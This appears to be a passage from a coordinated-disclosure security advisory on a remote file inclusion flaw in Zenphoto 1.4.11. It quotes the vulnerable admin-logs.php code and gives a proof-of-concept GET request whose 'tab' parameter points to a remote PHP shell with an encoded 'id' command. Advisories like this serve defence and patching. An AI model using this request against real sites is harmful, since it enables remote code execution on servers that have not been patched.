Security Advisory - Curesec Research Team 1. Introduction Affected Product: Zenphoto 1.4.11 Fixed in: 1.4.12 Fixed Version Link: https://github.com/zenphoto/zenphoto/archive/ zenphoto-1.4.12.zip Vendor Website: http://www.zenphoto.org/ Vulnerability Type: RFI Remote Exploitable: Yes Reported to vendor: 01/29/2016 Disclosed to 03/15/2016 public: Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview Zenphoto is a CMS for hosting images, written in PHP. In version 1.4.11, it is vulnerable to remote file inclusion. An admin account is required. 3. Details Description CVSS: High 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C When downloading a log file, the input is not properly sanitized, leading to RFI. An admin account is required, and allow_url_fopen must be set to true - which is the default setting. In old versions of PHP, this would additionally lead to LFI via null byte poisoning or path expansion, regardless of allow_url_fopen settings. Proof of Concept GET /zenphoto-zenphoto-1.4.11/zp-core/admin-logs.php?action=download_log&page= logs&tab=http://localhost/shell.php%3f%78%3d%69%64%26%66%6f%6f%3d&filename= security&XSRFToken=afd5bafed21279d837486fd2beea81f87bc29dea HTTP/1.1 Code // admin-logs.php (sanitize(x, 3) only strips out tags) case 'download_log': $zipname = sanitize($_GET['tab'], 3) . '.zip'; if (class_exists('ZipArchive')) { $zip = new ZipArchive; $zip->open($zipname, ZipArchive::CREATE); $zip->addFile($file, basename($file)); $zip->close(); ob_get_clean(); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); header("Content-Type: application/zip"); header("Content-Disposition: attachment; filename=" . basename($zipname) . ";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . filesize($zipname)); readfile($zipname); // remove zip file from temp path unlink($zipname); exit; } else { include_once(SERVERPATH . '/' . ZENFOLDER . '/lib-zipStream.php'); $zip = new ZipStream($zipname); $zip->add_file_from_path(internalToFilesystem(basename($file)),internalToFilesystem($file)); $zip->finish(); } break; 4.
